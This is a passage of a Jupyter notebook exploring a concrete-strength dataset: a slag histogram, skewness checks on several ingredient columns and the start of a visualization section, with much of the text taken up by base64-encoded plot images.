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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "df['Blast Furnace Slag'].plot.hist(grid=True, bins=20, rwidth=0.9, color='#607c8e')\n", - "plt.title('Blast Furnace Slag Distribution')\n", - "plt.grid(axis='y', alpha=0.75)" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "metadata": {}, - "outputs": [], - "source": [ - "# the data seems to be left skewed; we'll have to check the value of skewness" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Blast Furnace Slag Skewness: 0.7207693210681195\n", - "Fly Ash Skewness: 0.5373539058066844\n", - "Superplasticizer Skewness: 0.4695534757361076\n", - "Age Skewness: 0.2642589721506312\n" - ] - } - ], - "source": [ - "# checking extent of skewness\n", - "print('Blast Furnace Slag Skewness:', df['Blast Furnace Slag'].skew())\n", - "print('Fly Ash Skewness:', df['Fly Ash'].skew())\n", - "print('Superplasticizer Skewness:', df['Superplasticizer'].skew())\n", - "print('Age Skewness:', df['Age'].skew())" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "metadata": {}, - "outputs": [], - "source": [ - "# as the skewness in within range of acceptance, we do not need to do any transformations" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Data Visualization" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 23, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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